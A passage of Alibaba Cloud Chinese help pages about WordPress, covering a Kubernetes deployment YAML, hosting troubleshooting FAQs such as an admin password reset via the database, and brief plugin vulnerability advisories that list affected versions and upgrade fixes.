                    securityContext:
                      runAsUser: 999
                      runAsGroup: 999
                      fsGroup: 999
                    containers:
                      - image: registry.api.paas.com:5000/admin/mysql:8
                        name: mysql
                        args:
                          - "--default-authentication-plugin=mysql_native_password"
                        env:
                          - name: MYSQL_ROOT_PASSWORD
                            valueFrom:
                              secretKeyRef:
                                name: mysql
                                key: password
                        ports:
                          - containerPort: 3306
                            name: mysql
                        volumeMounts:
                          - name: mysql-persistent-storage
                            mountPath: /var/lib/mysql
                    volumes:
                      - name: mysql-persistent-storage
                        persistentVolumeClaim:
                          claimName: mysql-volumeclaim
               $ kubectl apply -f mysql.yaml
              
               # 4. 创建wordpress的pvc deployment service
               $ cat wordpress.yaml
              apiVersion: v1
              kind: Service
              metadata:
                labels:
                  app: wordpress
                name: wordpress
              spec:
                ports:
                  - port: 80
                    targetPort: 80
                    protocol: TCP
                    nodePort: 31570
                selector:
                  app: wordpress
                type: NodePort
              ---
              apiVersion: v1
              kind: PersistentVolumeClaim
              metadata:
                name: wordpress-volumeclaim
                annotations:
                  volume.beta.kubernetes.io/storage-class: "nfs"
              spec:
                accessModes:
                  - ReadWriteOnce
                resources:
                  requests:
                    storage: 20Gi
              ---
              apiVersion: apps/v1
              kind: Deployment
              metadata:
                name: wordpress
                labels:
                  app: wordpress
              spec:
                replicas: 1
                selector:
                  matchLabels:
                    app: wordpress
                template:
                  metadata:
                    labels:
                      app: wordpress
                  spec:
                    containers:
                      - image: registry.api.paas.com:5000/admin/wordpress
                        name: wordpress
                        env:
                        - name: WORDPRESS_DB_HOST
                          value: mysql:3306
                        - name: WORDPRESS_DB_PASSWORD
                          valueFrom:
                            secretKeyRef:
                              name: mysql
                              key: password
                        ports:
                          - containerPort: 80
                            name: wordpress
                        volumeMounts:
                          - name: wordpress-persistent-storage
                            mountPath: /var/www/html
                    volumes:
                      - name: wordpress-persistent-storage
                        persistentVolumeClaim:
                          claimName: wordpress-volumeclaim
               $ kubectl apply -f wordpress.yaml

              测试环境绑定hosts后,通过http://wordpress.myk8s.paas.com:31570/访问wordpress应用,确保wordpress应用访问正常。

              上一篇:从自建 harbor 同步镜像到 ACR 企业版

              下一篇:自建Kubernetes迁移至ACK弹性裸金属集群

              相关文档

              相关产品

              • 容器服务Kubernetes版

                容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

              • 容器服务(已停止服务)

                容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

              • 容器镜像服务

                容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

              以上内容是否对您有帮助?

              在文档使用中是否遇到以下问题

              • 内容错误

              • 更新不及时

              • 链接错误

              • 缺少代码/图片示例

              • 太简单/步骤待完善

              • 其他

              • 内容错误

              • 更新不及时

              • 链接错误

              • 缺少代码/图片示例

              • 太简单/步骤待完善

              • 其他

              更多建议

              匿名提交

              感谢您的打分,是否有意见建议想告诉我们?

              感谢您的反馈,反馈我们已经收到

              文档反馈

              ]]>
              云虚拟主机安装Wordpress忘记后台管理员密码如何处理_网站访问异常_常见问题_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 云虚拟主机安装Wordpress忘记后台管理员密码如何处理

              更新时间:2020-03-17 14:50:48

              本页目录

              免责声明: 本文档可能包含第三方产品信息,该信息仅供参考。阿里云对第三方产品的性能、可靠性以及操作可能带来的潜在影响,不做任何暗示或其他形式的承诺。

               

              问题描述

              用户在云虚拟主机中安装了Wordpress程序,但是忘记管理员登录密码,且无法通过邮箱找回密码。

               

              解决方案

              阿里云提醒您:

              • 如果您对实例或数据有修改、变更等风险操作,务必注意实例的容灾、容错能力,确保数据安全。
              • 如果您对实例(包括但不限于 ECS、RDS)等进行配置与数据修改,建议提前创建快照或开启 RDS 日志备份等功能。
              • 如果您在阿里云平台授权或者提交过登录账号、密码等安全信息,建议您及时修改。
              1. 登录主机管理控制台,在目标主机的控制面板页面,依次单击 数据库信息 > 管理,通过DMS进入数据库。
              2. 进入数据库之后,找到并单击wp_users表。确认存在user_pass字段。
              3. 由于密码user_pass字段都是经过MD5加密,无法直接看到密码。因此可以将这个字段的内容修改为“5d41402abc4b2a76b9719d911017c592”,然后单击 提交修改,之后即可使用“hello”作为密码登录,登录之后请重新设置密码。

               

              适用于

              • 云虚拟主机

               

              如果您的问题仍未解决,您可以在阿里云社区免费咨询,或提交工单联系阿里云技术支持。

              上一篇:云虚拟主机.NET程序生成Microsoft office文件时报错

              下一篇:云虚拟主机内安装Discuz论坛提示不支持fsockopen函数

              相关文档

              相关产品

              • 云虚拟主机

                阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

              • 云解析 DNS

                云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

              • 云服务器 ECS

                云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

              以上内容是否对您有帮助?

              在文档使用中是否遇到以下问题

              • 内容错误

              • 更新不及时

              • 链接错误

              • 缺少代码/图片示例

              • 太简单/步骤待完善

              • 其他

              • 内容错误

              • 更新不及时

              • 链接错误

              • 缺少代码/图片示例

              • 太简单/步骤待完善

              • 其他

              更多建议

              匿名提交

              感谢您的打分,是否有意见建议想告诉我们?

              感谢您的反馈,反馈我们已经收到

              文档反馈

              ]]>
              WordPress修改主题报错_网站访问异常_常见问题_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 WordPress修改主题报错

              更新时间:2020-01-07 17:04:22

              本页目录

              WordPress安装之后反馈登录后台更换主题报错,如附件的报错信息

              1.jpg

              此问题是因为主机的php版本是5.2,而它不支持主题中某些变量。于是便出现了这样的一个错误!

              需要将php的版本切换到5.2以上的版本,切换版本的方法是登录到主机管理控制台http://cp.hichina.com--高级环境设置--php版本设置,将版本切换到5.3之后正常了,需要注意的是,若设置版本之后导致数据库打不开,php版本设置为5.3,需在数据库信息>>重置数据库密码时,将数据库加密模式设置为41位加密

              4.jpg

              修改php的版本为5.3之后正常了,如附件的截图

              2.jpg



              如果您的问题没有解决,请联系售后技术支持

              上一篇:虚拟主机配置aspx类型404页面

              下一篇:访问云虚拟主机网站出现“max_user_connections”报错

              相关文档

              相关产品

              • 云虚拟主机

                阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

              • 云解析 DNS

                云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

              • 云服务器 ECS

                云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

              以上内容是否对您有帮助?

              在文档使用中是否遇到以下问题

              • 内容错误

              • 更新不及时

              • 链接错误

              • 缺少代码/图片示例

              • 太简单/步骤待完善

              • 其他

              • 内容错误

              • 更新不及时

              • 链接错误

              • 缺少代码/图片示例

              • 太简单/步骤待完善

              • 其他

              更多建议

              匿名提交

              感谢您的打分,是否有意见建议想告诉我们?

              感谢您的反馈,反馈我们已经收到

              文档反馈

              ]]>
              配置应用(以WordPress为例)_快速入门_轻量应用服务器-阿里云 Fri, 02 May 2025 09:39:04 +0800 配置应用(以WordPress为例)

              更新时间:2018-02-05 13:53:34

              本页目录

              1. 登录轻量应用服务器控制台,在 服务器列表 中找到您需要配置的服务器,点击 详情

              2. 在左侧导航栏中,点击 应用管理 > 应用详情

              3. 应用详情 页面,复制 管理员密码下的命令行,单击 远程连接

              4. 获取管理员密码:在弹出的命令窗口中,单击鼠标右键,选择 粘贴,回车。

              5. 复制管理员账号密码。
                e708b73731223bf5.png | center

              6. 回到控制台界面,点击 管理员登录地址
                ca232fe0d91ccfa7.png | center

              7. 输入账号 admin,并粘贴之前复制好的密码,单击 登录
                b804aaf0cd97e14a.png | center

              8. 登录成功后,您可以自由配置 WordPress。
                ac1eb503c360500a.png | center


              为方便后续操作,建议您更新个人资料,步骤如下:

              1. 在控制台的左侧导航栏中,点击 用户 > 所有用户,找到 admin,点击下面的 编辑 按钮。
                aa118eadc8fcb94b.png | center

              2. 找到 账户管理 部分,点击 生成密码,按照提示输入密码。
                45227cc373d8a518.png | center

              3. 找到 联系信息 部分,在 电子邮件(必填) 后的文本框中输入您的电子邮件地址,并点击 更新个人资料
                cc3dde5d2d92b4e8.png | center

                ]]> 如何快速搭建WordPress应用_视频专区_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 如何快速搭建WordPress应用

                更新时间:2017-06-07 13:26:11

                本页目录

                上一篇:利用 TFRecord 和 HDFS 准备 TensorFlow 训练数据

                下一篇:如何使用蓝绿发布模式发布应用

                相关文档

                相关产品

                • 容器服务(已停止服务)

                  容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

                • 容器服务Kubernetes版

                  容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

                • 容器镜像服务

                  容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                云虚拟主机下安装WordPress后提示页面存在循环重定向问题_网站访问异常_常见问题_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 云虚拟主机下安装WordPress后提示页面存在循环重定向问题

                更新时间:2020-01-07 17:03:58

                本页目录

                安装WordPress时遇到安装页面无法打开提示出现循环重定向的问题。如下图Chrome浏览器的提示:

                blob.png

                检查主机配置和wp-config.php文件都没有发现任何问题。最终发现是填写安装路径存在问题 index.php应该是一个文件,而不是文件夹。去掉地址栏中的index.php后恢复正常。

                blob.png



                如果问题还未能解决,请联系售后技术支持

                上一篇:访问云虚拟主机网站报"HTTP 错误 500.19 - Internal Server Error"错误

                下一篇:tracert测试方法

                相关文档

                相关产品

                • 云虚拟主机

                  阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

                • 云解析 DNS

                  云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

                • 云服务器 ECS

                  云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                通过域名访问Wordpress 跳转到临时域名_网站访问异常_常见问题_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 通过域名访问Wordpress 跳转到临时域名

                更新时间:2020-01-07 17:04:20

                本页目录

                 

                Wordpress 后台有站点域名的设置,如果迁移到万网后,正式域名由于没有备案可能会导致无法访问。这个时候如果需要测试网站,可以将网站后台地址修改为临时域名或者其它在万网已经备案的域名。

                修改方法:

                1、在wp-config.php中,添加下面一行内容:  define('RELOCATE',true);  

                如下图;

                blob.png

                      

                 

                2、登录后台地址,WP将自动更新安装地址(SITEURL),手动修改博客地址(HOME)地址即可,成功后一定记得删除上面添加的内容。 

                blob.png

                如果问题还未能解决,请联系售后技术支持

                 

                 

                 

                 

                 

                上一篇:Linux 系统云虚拟主机通过 FTP 无法删目录

                下一篇:访问站点提示“Warning: chmod() has been disabled for security reasons”错误

                相关文档

                相关产品

                • 云虚拟主机

                  阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

                • 云解析 DNS

                  云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

                • 云服务器 ECS

                  云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                【漏洞公告】WordPress 插件 WP Symposium 文件上传漏洞_内容管理系统(CMS)_Web应用安全漏洞_安全漏洞预警_安全公告和技术-阿里云 Fri, 02 May 2025 09:39:04 +0800 【漏洞公告】WordPress 插件 WP Symposium 文件上传漏洞

                更新时间:2017-11-27 13:21:48

                本页目录

                漏洞描述

                WP Symposium 是一款 Wordpress 插件。该插件存在一个严重的安全漏洞,可以导致黑客上传恶意文件,植入网站后门并进一步入侵服务器主机。

                受影响版本

                WP Symposium <= 14.11

                修复方案

                进入 Wordpress 管理后台,将 WP Symposium 插件更新至最新版本。

                上一篇:【漏洞公告】Joomla 反序列化远程命令执行漏洞

                下一篇:【漏洞公告】WordPress 插件 Slider Revolution 任意文件下载漏洞

                相关文档

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                WordPress中用户头像不显示_网站访问异常_常见问题_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 WordPress中用户头像不显示

                更新时间:2020-03-13 17:02:12

                本页目录

                免责声明: 本文档可能包含第三方产品信息,该信息仅供参考。阿里云对第三方产品的性能、可靠性以及操作可能带来的潜在影响,不做任何暗示或其他形式的承诺。

                 

                问题描述

                在云虚拟主机中,安装完毕WordPress程序后,无法显示用户头像。

                 

                问题原因

                云虚拟主机中没有安装Simple Local Avatars插件。

                 

                解决方案

                1. 在WordPress页面中,单击 插件 > 安装插件
                2. 在搜索栏中输入 Simple Local Avatars,在搜索结果的插件右侧单击 现在安装
                3. 待安装完毕后,在插件页面中单击 启用插件
                4. 单击左侧菜单栏的 用户,然后选择 Choose from Media Library,从本地选择对应的图片。
                5. 更新个人资料后,确认头像显示成功。

                 

                适用于

                • 云虚拟主机

                 

                如果您的问题仍未解决,您可以在阿里云社区免费咨询,或提交工单联系阿里云技术支持。

                上一篇:windows虚拟主机使用ASP.Net的Session设置方法

                下一篇:云虚拟主机内安装第三方应用时检测不到磁盘信息

                相关文档

                相关产品

                • 云虚拟主机

                  阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

                • 云解析 DNS

                  云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

                • 云服务器 ECS

                  云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                WordPress迁移后提示:“存在循环重定向”解决方法_网站访问异常_常见问题_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 WordPress迁移后提示:“存在循环重定向”解决方法

                更新时间:2020-01-07 17:03:33

                本页目录


                1. 问题描述:

                    WordPress站点迁移后无法正常访问,Google浏览器详细信息中提示:存在循环重定向。

                    检查网站日志,发现如下错误信息

                    Request exceeded the limit of 10 internal redirects due to probable configuration error. Use ‘LimitInternalRecursion’ to increase the limit if necessary. Use ‘LogLevel debug’ to get a backtrace.

                2. 原因分析:

                   该问题是因为之前WordPress可能放在站点二级目录下,因此伪静态文件.htaccess中RewriteBase参数为/bbs或者其它二级目录。

                3. 解决方法:

                   将RewriteBase /bbs改为RewriteBase  /即可。

                 

                如问题还未解决,请联系售后技术支持
                 

                 

                上一篇:G享型虚拟主机使用PHP程序发信代码示例

                下一篇:访问WordPress页面时提示“Cannot modify header information - headers already sent”

                相关文档

                相关产品

                • 云虚拟主机

                  阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

                • 云解析 DNS

                  云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

                • 云服务器 ECS

                  云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                访问WordPress页面时提示“Cannot modify header information - headers already sent”_网站访问异常_常见问题_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 访问WordPress页面时提示“Cannot modify header information - headers already sent”

                更新时间:2020-03-13 16:59:08

                本页目录

                免责声明: 本文档可能包含第三方产品信息,该信息仅供参考。阿里云对第三方产品的性能、可靠性以及操作可能带来的潜在影响,不做任何暗示或其他形式的承诺。

                 

                问题描述

                访问WordPress页面时,出现类似如下报错。

                Warning: Cannot modify header information - headers already sent by (output started at /data/home/qxu000000001/htdocs/wp-admin/setup-config.php:334) in /data/home/qxu000000001/htdocs/wp-admin/setup-config.php on line 75

                 

                问题原因

                WordPress程序的输出缓冲区需要开启output_buffering数据块,但是在虚拟主机中该参数默认为关闭状态。

                 

                解决方案

                阿里云提醒您:

                • 如果您对实例或数据有修改、变更等风险操作,务必注意实例的容灾、容错能力,确保数据安全。
                • 如果您对实例(包括但不限于ECS、RDS)等进行配置与数据修改,建议提前创建快照或开启RDS日志备份等功能。
                • 如果您在阿里云平台授权或者提交过登录账号、密码等安全信息,建议您及时修改。
                1. 登录主机管理控制台
                2. 单击左侧 网站高级环境设置 > php.ini设置,将 输出缓冲区数据区块 设置为 启用,该设置生效需要5分钟左右,设置生效后再测试访问,确认恢复正常。

                 

                适用于

                • 云虚拟主机

                 

                如果您的问题仍未解决,您可以在阿里云社区免费咨询,或提交工单联系阿里云技术支持。

                上一篇:WordPress迁移后提示:“存在循环重定向”解决方法

                下一篇:虚拟主机组件注册后如何使用

                相关文档

                相关产品

                • 云虚拟主机

                  阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

                • 云解析 DNS

                  云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

                • 云服务器 ECS

                  云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                【漏洞公告】WordPress 插件 bbPress 存储型 XSS 漏洞_内容管理系统(CMS)_Web应用安全漏洞_安全漏洞预警_安全公告和技术-阿里云 Fri, 02 May 2025 09:39:04 +0800 【漏洞公告】WordPress 插件 bbPress 存储型 XSS 漏洞

                更新时间:2017-11-23 17:24:32

                本页目录

                漏洞描述

                bbPress 是一款广受欢迎的 WordPress 插件,它为 WordPress 博客提供了论坛功能。

                bbPress 官方披露了一处存储型 XSS 漏洞。攻击者可利用该漏洞盗取访客或管理员的身份信息,进行未授权操作等恶意行为。

                影响范围

                bbPress < 2.5.9

                修复方案

                • 使用云盾 Web 应用防火墙 拦截此漏洞的攻击代码。

                • 升级 bbPress 至 2.5.9 或以上版本。

                上一篇:【漏洞公告】WebUI 命令执行漏洞

                下一篇:【漏洞公告】Joomla 反序列化远程命令执行漏洞

                相关文档

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                【漏洞公告】WordPress 弱口令_内容管理系统(CMS)_Web应用安全漏洞_安全漏洞预警_安全公告和技术-阿里云 Fri, 02 May 2025 09:39:04 +0800 【漏洞公告】WordPress 弱口令

                更新时间:2017-11-27 13:22:35

                本页目录

                漏洞描述

                WordPress 是一款流行的博客系统。

                如果 WordPress 管理员口令设置得过于简单,攻击者可以轻易破解口令,并登录到系统,进一步入侵主机。

                修复方案

                设置复杂度强的口令,避免被攻击者轻易破解。

                上一篇:【漏洞公告】08CMS 存在变量覆盖漏洞

                下一篇:【漏洞公告】WordPress 插件 Wordpress DB Backup 任意文件下载漏洞

                相关文档

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                【漏洞公告】WordPress 插件 Slider Revolution 任意文件下载漏洞_内容管理系统(CMS)_Web应用安全漏洞_安全漏洞预警_安全公告和技术-阿里云 Fri, 02 May 2025 09:39:04 +0800 【漏洞公告】WordPress 插件 Slider Revolution 任意文件下载漏洞

                更新时间:2017-11-27 12:10:18

                本页目录

                漏洞描述

                Slider Revolution Premium 是一款 WordPress 插件,它存在一个严重的安全漏洞,可以导致黑客远程下载服务器上任意文件。

                攻击者可构造恶意请求下载服务器上的敏感文件,进而植入网站后门控制网站服务器主机。

                受影响版本

                Slider Revolution <= 4.1.4

                修复方案

                进入 Wordpress 管理后台,将 Slider Revolution 插件更新至最新版本。

                上一篇:【漏洞公告】WordPress 插件 WP Symposium 文件上传漏洞

                下一篇:【漏洞公告】QiboCMS 远程代码执行漏洞

                相关文档

                以上内容是否对您有帮助?

                在文档使用中是否遇到以下问题

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                • 内容错误

                • 更新不及时

                • 链接错误

                • 缺少代码/图片示例

                • 太简单/步骤待完善

                • 其他

                更多建议

                匿名提交

                感谢您的打分,是否有意见建议想告诉我们?

                感谢您的反馈,反馈我们已经收到

                文档反馈

                ]]>
                云虚拟主机安装完WordPress程序后访问跳转到虚拟主机临时域名_网站访问异常_常见问题_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 云虚拟主机安装完WordPress程序后访问跳转到虚拟主机临时域名

                更新时间:2020-03-25 15:27:16

                本页目录

                免责声明: 本文档可能包含第三方产品信息,该信息仅供参考。阿里云对第三方产品的性能、可靠性以及操作可能带来的潜在影响,不做任何暗示或其他形式的承诺。

                 

                问题描述

                在云虚拟主机中安装完WordPress程序后进行访问,会自动跳转到虚拟主机临时域名。

                 

                问题原因

                在安装程序时,默认使用的是云虚拟主机临时域名进行安装。

                 

                解决方案

                1. 登录WordPress后台,在设置页面将对应的临时域名设置为自己的主域名即可,主域名一定要在阿里云备案通过或者在阿里云备案接入。
                2. 修改成功后,再次访问,确认不会进行跳转。

                 

                适用于

                • 云虚拟主机

                 

                如果您的问题仍未解决,您可以在阿里云社区免费咨询,或提交工单联系阿里云技术支持。

                上一篇:虚拟主机更新emlog模板失败

                下一篇:云虚拟主机Joomla程序更换主机后管理后台登录提示“500-发生一个错误”

                相关文档

                相关产品

                • 云虚拟主机

                  阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

                • 云解析 DNS

                  云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

                • 云服务器 ECS

